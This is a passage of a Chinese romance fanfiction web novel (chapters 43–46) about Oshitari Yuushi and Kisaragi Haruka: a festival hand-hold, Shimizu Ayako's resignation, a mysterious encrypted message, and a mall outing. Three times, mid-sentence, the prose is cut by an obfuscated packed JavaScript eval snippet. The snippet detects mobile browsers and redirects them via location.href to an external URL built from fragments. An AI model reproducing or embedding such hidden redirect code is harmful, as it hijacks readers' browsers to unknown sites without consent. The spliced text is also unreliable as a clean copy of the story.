忍足呆立在原地,大脑一片空白,只剩下那个被触碰的点在疯狂地灼烧发热。 如月遥收回手指,指尖上沾了一点深褐色的酱痕。 她嫌弃地蹙着眉,将沾了酱的手指竖在他面前晃了晃,声音带着点不耐烦:“快拿纸巾。” 忍足如梦初醒,手忙脚乱地从口袋里掏出干净的纸巾,几乎是条件反射般地,一把就握住了那只竖在他面前的沾着巧克力酱的手。 纸巾包裹住她微凉的手指,动作轻柔得如同擦拭稀世珍宝,仔仔细细地、一点一点地将那点碍眼的酱痕从她白皙的指尖擦去。 直到擦得干干净净,忍足才后知后觉地意识到—— 他!还!握!着!她!的!手! 那触感清晰地烙印在他的掌心。 理智疯狂叫嚣着:该放开了!立刻!马上! 可身体的本能却像是被粘住了,每一个细胞都在抗拒松开。 甚至掌心的肌肉还不由自主地微微收拢了一下,想要更紧地握住这份真实而温暖的触感。 大脑还没来得及做出指令,一个大胆又“机智”的念头瞬间占了上风。 赌一把! 抬起头,目光看向祭典出口的方向,那里人群果然已经如同退潮般开始涌动散场。 “散场了,人太多了。” 忍足的声音刻意拔高了半分,努力让自己听起来沉稳镇定,仿佛握住她的手只是为了完成一个再自然不过的引导动作,“走吧,别走散了!” 话音未落,他反手一扣,将她的手更加牢固地包裹在自己的掌心里,拉着她就朝着人流相对稀疏的方向快步走去。 动作一气呵成,带着不容挣脱的力道。 如月遥被他突如其来的动作拉得微微趔趄了一步,她能清晰地感受到他掌心传来滚烫得几乎灼人的温度和微微的汗湿。 她尝试着稍微用力,想把手抽回来,“放开……” 掌心传来的挣脱力道让忍足的心一沉,但他几乎是立刻抱定了“死就死吧”、“大不了再挨一巴掌”的赌徒心理,非但没有松开,反而更加坚定地、默默地收紧了自己的手指,将她的手牢牢地禁锢在自己的掌心里。 “不行。”他斩钉截铁地拒绝,语气带着点无赖的强硬,“人太多,拉袖子容易松开。” 目光灼灼地看向她,眼眸在散场的灯火下闪烁着豁出去了的光芒:“这样拉着最安全。” 如月遥看着他的脸,看着他眼中那份混合着紧张固执的光芒,再感受到掌心那份不容忽视的带着颤抖的滚烫紧握…… 她沉默了。 定定地看着他几秒,眼神锐利依旧,仿佛能穿透他强装的镇定,看到他胸腔里那颗快要蹦出来的心脏。 就在忍足以为下一秒就要迎接她冰冷的训斥或者一个过肩摔时,她几不可闻地“哼”了一声,像是表达不满。 然后…… 那只被他紧紧握住的手,原本绷紧的力道,悄然放松了下来。 微微侧过头不看他,目光转向了前方涌动的人潮,只是任由他牢牢地握着。 别扭的默许。 忍足的心瞬间仿佛被巨大的海浪托起,冲上了云端。 赌赢了! 他感觉到了,只要他豁出去,表现得“无赖”一点,大小姐对他的包容度,似乎总能提高那么一点点。 每次一点点,每次一点点。 虽然每次都像是在悬崖边走钢丝,冒着挨揍的巨大风险,但是感受着掌心那份柔软而真实的触感,感受着她无声的默许…… 忍足侑士觉得,这赌得太值了! 血赚不亏! 喧嚣鼎沸的人声、残留的烟火气息、食物的香气,一切都仿佛成了模糊的背景音。 在这随着人流渐渐散去的烟火大会的余温里,在这被灯火和人潮包裹的夏日夜色中。 忍足紧紧地握住了如月遥的手。 他不再掩饰嘴角上扬的弧度,步伐沉稳地牵着他的大小姐,一步一步,朝着灯火阑珊处走去,如同牵住了整个夏天最绚烂的光。 包车的暖黄灯光在夜色中格外醒目,如同海港的灯塔。 喧嚣远去,只剩下晚风拂过树叶的沙沙声和两人交错的脚步声。 如月遥的目光落在忍足宽阔的后背上,又垂落到两人交握的手上。 他的手掌很大,温厚干燥,带着薄茧的指腹和掌缘牢牢地包裹着她微凉的手,力道坚定,传递出一种不容置疑的牵引感。 一种陌生的、带着点暖意的异样感,悄然爬上心头,让她有些微的不自在。 她抿了抿唇,清泠的声音在寂静的夜色中响起,打破了这微妙的沉默。 “已经没有人了。” “还要拉着吗?” 忍足前进的步伐猛地一顿,如同被施了定身咒,后背瞬间僵直,后知后觉的尴尬如同冷水浇头。 是啊,人群早已散去,刚才那个“怕走散”的借口,此刻显得如此苍白无力。 他清了清嗓子,试图找回一点镇定,故作淡然地解释:“咳……山路不好走,灯光也暗。” 他指了指脚下有些坑洼的路面,“我怕你摔了。” 这个理由听起来比刚才靠谱一点点? 如月遥眼里掠过清晰的嘲讽,语气平淡却直击要害,“我在山路上如履平地。” 忍足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526645|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间语塞。 她赤着脚在危机四伏、布满碎石荆棘的山林里如同矫健黑豹般狂奔的画面,无比清晰地跃入脑海,跟那种环境比起来,眼前这条平整的柏油马路简直如同康庄大道。 这个理由……果然还是好烂! 但他就是不想放手,那份掌心的温软触感,那份牵着她时奇异的满足感,像藤蔓一样缠绕着他,让他舍不得松开。 索性破罐子破摔,换了个更烂的理由,破釜沉舟般的耍赖。 “我怕我摔了。” “拉着你比较稳当。” 如月遥的眼神里瞬间写满了:你在逗我? “你下盘白练了?” 身为网球部的正选,基础体能训练里强调过下盘稳定,更别说之前还被她加强过下盘训练,这个理由比刚才那个更站不住脚。 忍足彻底词穷了。 他感觉自己像个被戳破无数谎言的蹩脚演员,在如月遥那双清冷眼眸的审视下无所遁形。 一股深深的无奈涌上心头。 算了! 绅士风度?见鬼去吧! 他算是看透了,在大小姐面前,无赖比绅士管用! 于是,他干脆利落地选择了——无视。 仿佛刚才那段对话从未发生过,他嘴里含糊不清地嘟囔着:“快到了,走吧。” 然后,手臂微微用力,甚至带着点霸道地拉着她的手,大步流星朝着前方亮着灯光的包车走去。 背影透着一股“我就是要拉着,你能奈我何”的蛮横气势。 如月遥被他这突如其来的蛮力拉得踉跄了一下,看着他那个带着点孩子气赌气意味的后脑勺,一丝极其细微的无奈爬上心头。 蹙着眉,任由他拉着,像个不情不愿却又被强行牵走的小兽,默默地跟在他高大的身影后面,踏着灯光下的影子,走向包车。 包车的车门敞开着,暖黄的灯光倾泻而出,映照出车内一张张兴奋八卦的脸。 向日第一个发现了靠近的两人,他原本靠在车窗上打盹,此刻猛地瞪大了眼睛,嘴巴张成了“O”形,“哇——!!!” 他指着车窗外,声音因为激动而变调,“拉、拉手了!!!” 这一嗓子如同丢进油锅里的水,瞬间引爆了整个车厢。 “什么?!” “真的假的?!” “哪里哪里?!” 宍户立刻凑到车窗边,顺着向日的手指看去,果然看到忍足紧紧拉着如月的手大步走来,他吹了声口哨,脸上是毫不掩饰的促狭笑容:“嚯!进展神速啊忍足,酷毙了!” 日吉的脸上也难得露出了惊讶,“忍足前辈真勇敢。” “不怕被如月前辈扇耳光吗?” 佐藤明美捂嘴轻笑,看着窗外路灯下并肩走来的身影,一个高大挺拔,一个清冷纤细,画面意外的和谐:“还真是郎才女貌呢。” “告白了吗?” “肯定告白了!不然能拉手?” “不一定吧!忍足那闷骚的家伙……” “赌不赌?我赌他还没说!” “我也觉得没告白!迹部你说呢?” 众人七嘴八舌,兴奋地猜测着,盯着窗外越来越近的两人,车厢里充满了快活的八卦气氛。 迹部坐在前排靠窗的位置,单手支着下巴,眼眸扫过窗外忍足那副“豁出去了”的架势,再看看他身后那个被拉着、一脸“被迫营业”却终究没甩开手的如月遥,嘴角勾起一抹了然又玩味的弧度。 华丽的声音带着笃定:“啊嗯?本大爷看……那家伙八成还没说出口。” “不过……能用无赖战术牵到手,也算一种进步?” 44. 第 44 章 深夜的温泉酒店大堂灯火通明。 如月遥径直朝着电梯方向走去,忍足如同最忠实的影子,半步不离地跟在身侧,嘴里还念叨着:“该换药了……” 两人刚走到电梯口,还没等按下按钮。 “噔噔噔。” 急促的脚步声从走廊另一头响起。 清水绫子提着一个印着奢牌Logo的黑色纸袋,风风火火地冲了过来。 她一眼就看到并肩站在一起的两人,目光飞快扫过。忍足的目光落在如月身上,带着毫不掩饰的专注。 那份专注,曾经是她渴望而不可及的。 心口尖锐的酸涩和嫉妒感本能地要翻涌上来,可奇怪的是,这一次那股气闷似乎并没有像之前那样堵得她窒息。 强迫自己移开视线,不再去看忍足那张令她魂牵梦萦了五年的脸。 她把所有的注意力都集中在如月遥身上,几步冲到近前,带着“完成任务”的凶狠,将手里的纸袋用力塞进如月遥怀里。 “给你!”声音瓮声瓮气,带着点强撑出来的气势,“黑衣服!如你所愿!拿去!” 如月遥被塞了个满怀,看了看那个纸袋,她的左手还裹得像个小棒槌,根本无法拆包装。 将这个“烫手山芋”转手就塞给了旁边的忍足侑士,“打开瞧瞧。” 忍足对如月遥的指令仿佛形成了肌肉记忆,动作快得惊人。修长的手指灵活地解开纸袋上的丝带,剥开包装纸,小心翼翼地从里面拎出了一件衣服。 一件黑色的真丝睡衣。 款式简约利落,与如月遥之前那件被树枝刮破的睡衣有几分神似,但更低调奢华。 Chrome Hearts标志性的哥特式十字架纹路被巧妙地融入面料本身的纹理,形成暗银色的若隐若现的花纹,如同月光流淌在深潭之上。 睡衣上没有一丝多余的装饰,没有她之前那件胸口标志性的粉色刺绣月亮,只有深邃的黑与冷冽的银交织,透着一股更加清冷的孤傲感。 衣服被展开在忍足手中,在酒店明亮的灯光下,真丝特有的光华如同水波般流淌。 如月遥的目光在那件睡衣上停留了几秒,点了点头,语气带着难得的肯定:“嗯。这件不错。” 清水绫子的目光,却不由自主地被忍足侑士吸引了。 看着这个自己暗恋了整整五年的贵公子。 看着他此刻无比自然地接过如月遥塞过来的袋子。 看着他修长的手指,带着一种近乎虔诚的姿态为她拆开包装。 看着他拎着那件睡衣,如同展示珍宝般将其展开在自己掌中,像是在完成一项极其重要的任务。 他那张总是带着温和疏离笑意的脸,此刻对着如月遥时,线条柔和,眼神温暖,仿佛全世界只剩下了她和她想要的东西。 那样的温柔…… 那样的细致入微的服务…… 那样毫不掩饰的全心全意…… 是她清水绫子认识忍足侑士五年来,从未见过的模样。 原来…… 他不是天生疏离。 他不是不懂温柔。 他只是把他的体贴入微,把他所有的专注和心意…… 都给了眼前这个人。 原来忍足侑士喜欢一个人的时候,是这样的啊…… 真令人羡慕。 也真令人明白。 过去五年里,她所感受到的那些所谓的“好”,那些她珍视的、带着少女幻想的“绅士风度”,都不过是最基础的、最普通的、不带任何特殊意义的礼貌罢了。 酸涩又恍然的复杂情绪,淹没了清水绫子。那并非单纯的嫉妒之火,而是苦涩的明了。 她猛地转开头,不敢再看忍足那双此刻盛满了别人身影的眼眸,怕自己会失态,怕心底那点最后的骄傲也会崩塌。 她用力吸了吸鼻子,瓮声瓮气对着空气丢下最后一句: “人情……我还了!” “不欠你什么了!” 她的话像是要把所有的过往都斩断,关于他,关于她,关于他和她。 像一阵风一样,头也不回地冲进了走廊的阴影里,迅速消失不见。 脚步踉跄而急促。 房间内一片静谧,只余下中央空调低沉的送风声。 落地窗外,轻井沢的夜色如同一幅浓墨重彩的画卷,远山如黛,星子疏朗,白日里喧嚣的温泉旅馆此刻也沉入了安眠。 如月遥沐浴完毕,换上了清水绫子送来的那件克罗心黑色真丝睡衣。 暗银色的哥特十字花纹在柔和的夜灯下若隐若现,如同流淌在深潭底部的月光,衬得她肌肤愈发冷白。 她赤着脚,安静地坐在宽大的单人沙发里,身体微微陷进柔软的靠垫,目光投向窗外无垠的夜色。 一整个晚上的喧嚣,祭典的灯火、鼎沸的人声、烟火的轰鸣、还有掌心的温度,似乎还在耳畔和指尖残留着余韵。 此刻的寂静,反而让那些声音和触感变得更加清晰。 忍足刚刚离开不久,重新包扎了左手,消毒、上药、缠绕绷带…… 温热的呼吸偶尔拂过她的手臂,他身上那股混合着干净皂角、淡淡消毒水的气息,在狭小的空间里弥漫开来,此刻随着他的离去也一同被带走了。 房间里似乎一下子空荡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526646|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多。 如月遥微微蹙眉,对这种突如其来的“不习惯”感到一丝烦躁。 低头看向自己被包裹得严严实实的左手,眼前仿佛还残留着忍足低头蹙眉,全神贯注处理伤口的侧脸。 与他平日关西腔调下慵懒表象截然不同的执拗。 右手指尖轻轻摩挲了一下左手手背的绷带边缘,指尖的触感,让她不由自主地想起了另一份温热。 烟火散场时,被他紧紧包裹在掌心里的她的右手。 他带着不容挣脱力道的、滚烫的紧握,还有耍无赖时,那强装镇定却依旧泄露了紧张的后脑勺。 如同夏夜池塘边一只莽撞的蜻蜓,用尾尖极其轻微地点过平静无波的水面。 只一下,却足以在湖心漾开一圈圈细微的、难以平复的涟漪。 奇怪…… 这种陌生的、带着点暖意又带着点扰人的感觉…… “叮。” 提示音,从手机里传来。 瞬间击碎了所有朦胧的思绪。 如月遥眼眸一凝,所有的柔软和恍惚如同潮水般褪去,重新覆上清冷的寒冰。 拿起手机,屏幕亮起,显示着一个看似普通的社交APP图标。但她的指尖却以一种极其复杂、带着特定节奏的密码方式,快速地点开了它。 一条加密信息静静地躺在收件栏里。 内容只有简洁冰冷的六个字: 【计划顺利进行中。】 没有署名,没有多余信息,却像一道无声的指令,瞬间将她从轻井沢温泉旅馆的静谧夜色中,拉回了另一个冰冷而沉重的现实。 如月遥的目光在那行字上停留了数秒,指尖在屏幕上悬停片刻,最终没有回复。 平静地按下了锁屏键。 屏幕暗了下去,房间重新陷入昏暗,只有窗外透进来的微光。 她重新抬起头,望向窗外那片深邃的、仿佛能吞噬一切的深邃夜色。 灯火阑珊的祭典、喧闹的人群、绚烂的烟火、笨拙的包扎、温暖的掌心、别扭的拉扯……所有属于这个夏夜的、带着烟火气的画面,如同被一只无形的手迅速抹去。 眼前,只剩下水谷雅子在盆舞中快乐旋转的身影。 那张洋溢着纯粹喜悦的脸庞,在如月遥的视线里,渐渐模糊、扭曲。 最终与记忆深处另一张同样年轻的少女脸庞,缓缓地重叠在了一起。 五年了…… 如月遥静静地坐在黑暗里,如同一尊没有温度的玉雕。 窗外清冷的月光流淌在她身上那件昂贵的黑色真丝睡衣上,暗银色的花纹在阴影中沉默地闪烁,如同蛰伏的猛兽冰冷的鳞片。 45. 第 45 章 轻井沢的夏日,如同山涧叮咚的溪流,裹挟着阳光、温泉、烟火和喧嚣,在不知不觉中悄然走到了尾声。 最后一日的清晨,空气中依旧弥漫着草木清新。 餐厅里,众人围坐在一起享用着告别早餐。 气氛带着几分慵懒的留恋,少了几分离愁别绪,毕竟同在东京,再聚并非难事。 大家谈论着这几日的趣事。 清水绫子的睡衣战争、如月遥喝退黑熊的神迹、烟火大会的绚烂等等,让这顿早餐充满了轻松愉快的氛围。 收拾好行囊,众人陆续登上迹部安排的豪华包车返回东京。 向日一把拉住正准备走向自己车的忍足,压低声音,脸上是毫不掩饰的促狭和期待:“喂!侑士!回去东京也要多加油啊!我可等着呢。下次聚会的时候——” 他故意拖长了语调,挤眉弄眼,“就该改口叫如月同学‘忍足夫人’了吧?” 宍户在一旁抱着手臂,脸上也带着笑意:“这次见识到了如月同学的‘威力’,不虚此行。” 日吉若目光锐利:“如月前辈身上的武艺和气魄,非常值得学习。回去后定当加倍苦练,争取早日达成‘下克上’。” 泷荻之介和千叶纱织则笑嘻嘻地凑在一起:“忍足加油哦!到时候一定要带着如月同学来参加我们的婚礼哦~” 大家七嘴八舌,纷纷给忍足打气加油。 听着这些或调侃或祝福的话语,他推了推眼镜,声音带着点窘迫却又无比坚定:“啊呀啊呀……我会努力的。” 迹部最后走了过来,他扫过忍足,没有多言,只是伸出手在他肩膀上拍了两下。 一切尽在不言中。 然后优雅地转身,登上了包车的副驾驶座。 引擎发动,包车缓缓驶离温泉旅馆,载着一车喧嚣和美好的夏日回忆,汇入清晨的山间公路。 忍足目送着车子远去,直到尾灯消失在拐角,他深吸了一口山林的空气,只觉得胸腔里充满了前所未有的力量和期待。 转身脚步轻快地返回别墅,踏上二楼,径直走向如月遥的房间。 房门虚掩着,他轻轻推开。 如月遥正背对着门口,站在打开的行李箱前。 一身简约舒适的米色休闲装,长发随意地拢在肩后。 听到开门声,侧头瞥了一眼,算是打招呼。然后继续用没受伤的右手,有些笨拙地整理着摊在床上的衣物。 显然,单手操作对她来说并不方便。 “我来帮忙。”忍足立刻上前,几步走到床边,极其顺手地就接过了她手中正在折叠的一件……柔软的……淡紫色布料…… 入手温软、细腻,不太像常规衣物的布料。 低头一看。 一股血气瞬间直冲头顶。 这…… 这是…… 大小姐的……贴身……内衣?! 大脑瞬间空白,指尖被那柔软的布料烫到,却又像被粘住了一样。 拿也不是,放也不是, 整个人如同被施了石化咒,僵在原地,脸颊、耳朵、脖子根瞬间爆红。 狼狈,从昨晚持续到今早。 如月遥感觉到手里的东西被抽走,下意识地回头,目光也落在了忍足手中那件刺眼的淡紫色内衣上。 即使她拥有喝退黑熊的强大心脏和冰山气场,在这一刻看到贴身衣物被一个大男人拿在手里的画面,热气也猛地冲上了脸颊。 白皙的脸颊瞬间飞起两抹清晰的红晕,满是羞恼和被冒犯的愠怒。 “放手!” 清泠的声音带着一丝罕见的急促,猛地伸手,一把将自己的贴身衣物从忍足僵硬的指间抢了回来,动作快得带起一阵风。 她将那件小小的、柔软的布料紧紧攥在自己手里,仿佛藏起一个巨大的秘密。 狠狠地瞪了忍足一眼,眼神里写满了“笨手笨脚”、“成事不足”的斥责,语气带着冰冷的命令。 “去收拾别的衣服!” “是……是!”忍足如梦初醒,被那一眼瞪得浑身一个激灵,尴尬得让他只想找个地缝钻进去。 他慌忙转过身,几乎是连滚带爬地扑向床边散落的那些明显安全得多的外套、T恤、长裤…… 背对着如月遥,手忙脚乱地开始叠衣服,动作机械而生硬。耳朵尖还红得滴血,脑子里却不受控制地回想起刚才指尖的触感。 淡紫色…… 很柔软…… 细腻得不可思议…… 带着一点点她身上独有的冷香…… 这个认知如同魔咒般在他脑海里盘旋不去,让他叠衣服的动作愈发笨拙,心跳快得几乎要撞出胸腔。 如月遥飞快地将那件惹祸的内衣塞进了行李箱最隐蔽的角落,然后若无其事地继续整理其他小物件。 房间里只剩下衣物摩擦的窸窣声,和一种无声弥漫的、极度微妙而尴尬的气氛。 一边叠着黑色长裤,一边在心里疯狂唾弃自己: 忍足侑士!你这个笨蛋!蠢货!色狼! 形象全毁了!大小姐会怎么想?! 完了完了完了…… 然而,在铺天盖地的懊恼羞愧之下,一丝极其隐秘的、带着负罪感的、属于雄性生物本能的悸动,也如同野草般悄然滋生。 叠衣服的动作,不自觉地放得轻柔,仿佛手中捧着的,依旧是那件柔软的、淡紫色的…… 车厢内空间密闭,空气里弥漫着汽车皮革和车载雪松香薰的清冽气息。 忍足侑士发动引擎,手指搭在方向盘上,指节因为刚才的“内衣事件”还残留着一点不自然的僵硬,偷偷用余光瞥了一眼副驾驶座上的如月遥。 她已经恢复了平日的清冷疏离,仿佛刚才房间里那短暂的羞恼从未发生。 侧着头望向窗外的山林景色,左手依旧被包裹得严严实实地搁在腿上。 忍足努力平复自己依旧有些鼓噪的心跳。注意到如月遥想要拉过安全带,但因为左手不便,动作显得有些笨拙。 “我来。”声音沙哑。 他侧过身,手臂越过中央扶手,探向副驾驶座的安全带卡扣。 距离瞬间拉近。 他的胸膛几乎要碰到她的手臂外侧,温热的呼吸不可避免地拂过她的耳廓和颈侧的碎发。 那股独属于她的、清冽中带着冷感的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526647|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪松气息,强势地涌入忍足的鼻腔。 明明车里的香薰也是同款雪松,但此刻,这份源自她肌肤发丝的气息,却如同拥有生命般,带着令人心悸的穿透力。 它霸道地覆盖了香薰的味道,如同冰棱刺入温热的血液,近乎侵略性地直击灵魂。 忍足的手指在安全带的金属扣上顿住了零点一秒,指尖飞快地用力,“咔哒”一声,利落地将安全带扣好。 然后立刻收回手臂,重新坐直身体,目不斜视地盯着前方道路,仿佛刚才那瞬间的靠近从未发生。 引擎低鸣,车厢里陷入一片寂静。 只有舒缓的轻音乐如同溪流般静静流淌,填补着沉默的空间。 如月遥拿出手机,指尖在屏幕上无声地滑动。 突然,手指顿住了。眼眸盯着屏幕上的某个信息,似乎有些意外。 “怎么了?”忍足敏锐地捕捉到了她细微的停顿,出声询问,目光依旧看着前方。 如月遥望着前方不断延伸的公路,声音听不出情绪:“今天有《泰坦尼克号》重映。” 忍足微微一怔,“啊,是的。经典重映,宣传铺天盖地。” 他语气带着点遗憾,“我本来也打算今天去看的,毕竟是首映日嘛……” “可惜是返程的日子,只能算了。” 他还在别墅跟凤提过这事,作为骨灰级纯爱电影爱好者,他对这部史诗级爱情悲剧有着特殊情怀,首映缺席让他颇为惋惜。 只是……大小姐怎么会提起这个? 如月遥闻言侧过头,目光平静地落在忍足线条流畅的侧脸上,她看了他两秒,用她那标志性的、理所当然的语气开口:“那就去呗。” “附近找个影院不就行了。” 忍足握着方向盘的手猛地一紧,难以置信地转过头看向她:“你愿意陪我去看?” 声音里充满了巨大的惊喜,这简直是天上掉馅饼。 如月遥微微蹙了一下眉,仿佛觉得他这个问题很愚蠢,纠正解释道。 “是为了经典电影重映。” “不是为了陪你。” “……” 虽然被否认了,但忍足只有喜悦。 他才不管她怎么解释呢,只要她能和他一起坐在电影院里,看什么都行。 强压下想要高声欢呼的冲动,嘴角却抑制不住地疯狂上扬,手指飞快地在汽车的中控显示屏上划动导航。 “前面不远有个大型百货商场,顶楼就是一家IMAX影院,设备效果一流。” 点开地图,将位置放大给如月遥看。 如月遥的目光扫过屏幕上显示的影院名字,拿起自己的手机,指尖在屏幕上轻点了几下。 很快,声音再次响起: “还有票。” “买好了。” “啪嗒。” 轻微的锁屏声响起。 忍足努力控制着自己雀跃到快要飞起的心情,握住方向盘的手指因为兴奋而微微用力。 “坐稳了。” “我们改道。” 话音刚落,他打了一把方向盘,奥迪发出低沉的咆哮,流畅地并入了另一条车道,疾驰而去。 46. 第 46 章 车子刚在百货商场的地下停车场停稳。 如月遥解开安全带,剜了忍足一眼:“电影还早,你开这么快干什么?” 补充了一句极其写实的控诉:“我想喝水都不敢去拿,生怕打翻了。” 那只被裹得像棒槌的左手,在高速行驶的车里,确实是个不稳定因素。 忍足这才知道买的电影票是晚上的场次,现在才刚过中午。 “啊……抱歉抱歉。”他脸上带着真诚的懊恼,“太激动了,没注意时间……” 听到如月遥说要去看电影,他当时脑子里只剩下油门和方向盘了。 如月遥懒得跟他掰扯,推开车门下车,把精致手袋往他怀里一塞,语气带着点理所当然的指使:“拎着。” “走了。” 说完,她径直朝着电梯方向走去,背影透着一股不耐烦。 忍足像个合格的拎包小弟,亦步亦趋地跟在她身后,嘴角却不由自主地弯了起来。 大小姐使唤他的样子,也挺可爱的。 百货商场的美食区人头攒动,香气四溢,琳琅满目的招牌看得人眼花缭乱。 如月遥目光扫过一圈,最终停在了一家装修雅致、门口挂着“南粤轩”牌匾的粤菜馆前。 “就这里。”她言简意赅。 虾饺皇、豉汁蒸凤爪、鲜虾肠粉、叉烧酥……一道道精致的茶点图片让人食指大动。 就在等待菜品上桌的间隙,如月遥从手袋里翻出了一根素色的发圈。 她看了看桌上热气腾腾的食物,又看了看自己垂落在肩侧的长发,显然,她不想让头发影响她的午饭时光。 将发圈递给旁边的忍足:“帮我扎一下。” 忍足心头一喜。 一回生二回熟! 有了烟火大会那晚在树下“编辫子”的“惨痛”经历,他事后痛定思痛,连夜搜索了无数“如何给女生扎头发”的教程视频,此刻接到命令,天才忍足侑士信心倍增。 接过发圈,动作不再像那晚在树下那般僵硬笨拙。走到她身后,轻柔地拢起她的长发,拢成一个马尾,然后用发圈缠绕固定。 动作虽然算不上行云流水,但绝对称得上温柔细致。 小心翼翼避开她的耳朵和脸颊,扎得不算太紧也不算太松,恰到好处。 “好了。”他轻声说,带着一丝不易察觉的小得意。 嗯,学费没白交! 机会总是留给有准备的人。 菜很快上齐了。 晶莹剔透的虾饺皇,饱满的虾仁若隐若现;软糯脱骨的豉汁蒸凤爪,香气扑鼻;粉皮薄透、裹着鲜嫩虾仁的肠粉,淋着清甜的酱油…… 如月遥拿起筷子,明显来了兴致。 她吃东西的样子依旧斯文优雅,但那双眼里,却闪烁着满足的光芒,专注地品尝着每一道菜,速度比平时快了不少。 看着她明显吃得非常高兴的样子,忍足试探性地问:“很喜欢中餐?” 如月遥正夹起一个热气腾腾的虾饺,闻言点了点头,也许是美食带来的放松,此刻她的声音不像平时那样冰冷,反而带上了点自然的慵懒放松。 “当然,我在中国长大,都吃习惯了。” 她咽下食物,夹起一块凤爪,语气带着抱怨:“来了日本整天吃日料或西餐,真是受不了。” 埋怨的语调,嘴里还有点吃了东西的含糊,听得忍足心头一颤,酥酥麻麻的。 看着桌上这些精致美味却并不算特别复杂的粤式点心,一个念头在忍足脑中成型。 用筷子点了点桌上的虾饺和肠粉,“这些看起来好像不是特别难?” 他看向如月遥,跃跃欲试,“我可以试试。” 如月遥正准备夹肠粉的动作顿住了,抬起头难得有些惊讶,“你会做饭?” 在她的认知里,忍足侑士这种出身优渥的贵公子,应该十指不沾阳春水才对。 “是的。” “家里的姐姐…比较大大咧咧,父母工作忙不在家的时候,基本都是我做饭给她吃。” 想起自家那个不靠谱的姐姐,他语气里带着点无奈,也带着点温暖。 如月遥惊讶过后,眼神里多了几分兴味,她放下筷子,目光落回他脸上,语气带着点促狭的审视:“想做就试试呗……” 她顿了顿,嘴角极其轻微地向上勾了一下,补充了一句让忍足哭笑不得的备注。 “不好吃就全给你自己吃掉。” 像是在警告,又带着点熟悉的调侃: “就像在USJ一样。” 忍足失笑,拿起水壶给她倒了一杯温水:“没问题,保证完成任务。” 嗯…… 学习中餐烹饪。 可以正式加入他的“攻克大小姐堡垒”计划日程表了。 大小姐对美食的喜欢度肉眼可见的高。 如果能牢牢抓住她的胃…… 是不是也能顺带…… 轻轻地、悄悄地…… 抓一下她的心呢? 午后的阳光透过巨大的玻璃幕墙洒在商场光洁的地砖上,人流如织。 忍足侑士和如月遥并肩走在宽敞的过道里,享受着饭后悠闲的散步时光。 空气中弥漫着各种品牌的香氛、咖啡香和烘焙甜点的气息。 路过Byredo的专柜,如月遥的脚步顿住。她对香水似乎有着特别的偏好。 走进去拿起试香纸,对着最新款的几款香水轻轻嗅闻,好看的眉头很快蹙了起来。 “太甜了。” 她放下试香纸,毫不掩饰的嫌弃,仿佛那些昂贵的香水是对她嗅觉的亵渎。 忍足的目光在柜台扫过,精准地落在一款熟悉的瓶身上——Super Cedar。 他拿起旁边配套的同款香型身体乳,递到如月遥面前。 “试试这个?和你常用的味道一样。” 如月遥接过,旋开盖子闻了闻,熟悉的味道扑面而来。 “要了。冬天用。” 她的目光落在旁边同款香型的护手霜上。拿起那支护手霜,随手就塞进了忍足手里。 “这个给你。” “打网球的手上都是茧。” 她瞥了一眼忍足骨节分明、带着薄茧的手,“真扎人。” 忍足:“……” 他低头看着手中那支还带着凉意的护手霜,再看看如月遥已经走向收银台的背影,努力绷住自己的嘴角。 大小姐这是在嫌弃他? 还是关心他? 不管是哪一种,这支护手霜他都必须天天用! 离开香水柜台,两人继续闲逛。 经过一家设计感极强的男装店橱窗时,如月遥原本已经目不斜视地走了过去。 可走出几步,她突然毫无预兆地停了下来,甚至往后退了两步。 目光锁定了橱窗里那个模特人台身上穿着的衣服。 一件黑色的男士衬衫。 面料是顶级的长绒棉,光泽内敛,质感极佳。剪裁看似简约,却在肩线和腰身处做了极其精妙的收束设计,勾勒出流畅的力量感。 最特别的是那几颗银色的扣子,造型别致,带着点不羁的棱角,却又完美地融入了整体的低调优雅之中。 忍足顺着她的目光看去,也看到了那件衬衫,确实很有格调。 如月遥指着橱窗里的人台,对迎上来的店员抬了抬下巴,看向忍足,“那件黑衬衫,按他的身材拿一件。” 忍足指了指自己:“我?” 如月遥理所当然地点点头,“上次那件脏死了。” 她指的是在山道上遇熊后裹在她身上、沾满了泥土血迹草屑、早已报废的外套。 给出了一个让忍足根本无法反驳的理由:“就当赔你一件衣服。” 柜员很快拿来了符合忍足尺寸的黑衬衫。 如月遥的目光在衣架上扫过,又指了指旁边一条剪裁同样利落的黑色修身长裤:“再搭配这条裤子。” 说完,她施施然走到店内的休息沙发前,姿态优雅地坐了下来。 忍足看着手中的衬衫和裤子,再看看沙发上那位等着“验收成果”的大小姐,心里放烟花。 大小姐给他挑衣服,这待遇! 